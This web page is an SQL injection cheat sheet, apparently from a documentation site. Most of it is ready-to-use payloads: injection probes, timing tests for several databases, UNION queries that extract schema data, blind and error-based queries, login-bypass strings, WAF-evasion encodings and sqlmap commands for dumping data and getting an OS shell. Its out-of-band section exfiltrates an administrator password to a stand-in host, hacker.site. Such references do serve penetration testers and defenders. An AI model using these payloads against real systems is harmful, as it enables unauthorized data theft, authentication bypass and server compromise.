Skip to main content
SQL Injection is a security flaw that allows attackers to interfere with the database queries of an application, potentially viewing, modifying, or deleting data they shouldn’t access.

Entry Point Detection

The first step is finding a value you control that is injected into a query. Try these break characters:
'
"
`
')
")
`))
'))
"))

SQL Comments by Database

-- MySQL
#comment
-- comment
/*comment*/

-- PostgreSQL
--comment
/*comment*/

-- MSSQL
--comment
/*comment*/

-- Oracle
--comment

Confirming with Logical Operations

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Confirming with Timing

-- MySQL
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)

-- PostgreSQL
1' || pg_sleep(10)

-- MSSQL
1' WAITFOR DELAY '0:0:10'

-- Oracle
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

-- SQLite
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Identifying the Backend

-- MySQL
convconv('a',16,2)=conv('a',16,2)
crc32('MySQL')=crc32('MySQL')

-- MSSQL
@@CONNECTIONS>0
BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)

-- PostgreSQL
5::int=5
pg_client_encoding()=pg_client_encoding()

-- Oracle
ROWNUM=ROWNUM

-- SQLite
sqlite_version()=sqlite_version()

Union-Based Exploitation

1

Find Number of Columns

1' ORDER BY 1--+    -- True
1' ORDER BY 2--+    -- True
1' ORDER BY 3--+    -- True
1' ORDER BY 4--+    -- False (query uses 3 columns)
Or use UNION SELECT with NULLs:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
2

Extract Database Information

-- Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

-- Tables in a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

-- Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table]

Error-Based Exploitation

When you can see error messages but not query output:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQL Injection

When you can only distinguish between true/false responses:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Time-Based Blind SQLi

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Oracle does not support stacked queries. MySQL, Microsoft, and PostgreSQL do:
QUERY-1-HERE; QUERY-2-HERE

Out-of-Band Exfiltration

-- DNS exfiltration
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

-- XXE via Oracle
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Authentication Bypass

-- Classic
' OR '1'='1
' OR 1=1--
admin'--

-- MD5 raw output bypass
md5("ffifdyop", true) = 'or'6\]\xC3\x85!r,\xC3\x9Db\xC3\x96

-- Injected hash bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

-- GBK bypass (when ' is escaped)
%A8%27 OR 1=1;-- 2
%bf' or 1=1 -- --

WAF Bypasses

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1/*comment*/and/**/1=1/**/--
?id=(1)and(1)=(1)--

INSERT Statement Attacks

-- SQL Truncation Attack (when length limit exists)
-- Create user: "admin [25 spaces] a"
-- The extra chars get truncated, updating admin's password

-- ON DUPLICATE KEY UPDATE
INSERT INTO users (email, password) VALUES 
  ("[email protected]", "bcrypt_hash"),
  ("[email protected]", "bcrypt_hash") 
  ON DUPLICATE KEY UPDATE password="bcrypt_hash";

Bypass Column Name Restriction

# Access column by position when name is blocked
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

# With comma bypass
-1 union select * from (select 1)a join (select 2)b join 
  (select F.3 from (select * from (select 1)q join (select 2)w join 
  (select 3)e union select * from flag limit 1 offset 5)F)c

Automated Exploitation

# sqlmap basic usage
sqlmap -u "http://target.com/?id=1"

# With specific technique
sqlmap -u "http://target.com/?id=1" --technique=U

# Dump database
sqlmap -u "http://target.com/?id=1" --dump

# OS shell
sqlmap -u "http://target.com/?id=1" --os-shell

Resources

  • PayloadsAllTheThings SQL Injection wordlists
  • PortSwigger SQL Injection cheat sheet
  • SQLmap for automated exploitation

Build docs developers (and LLMs) love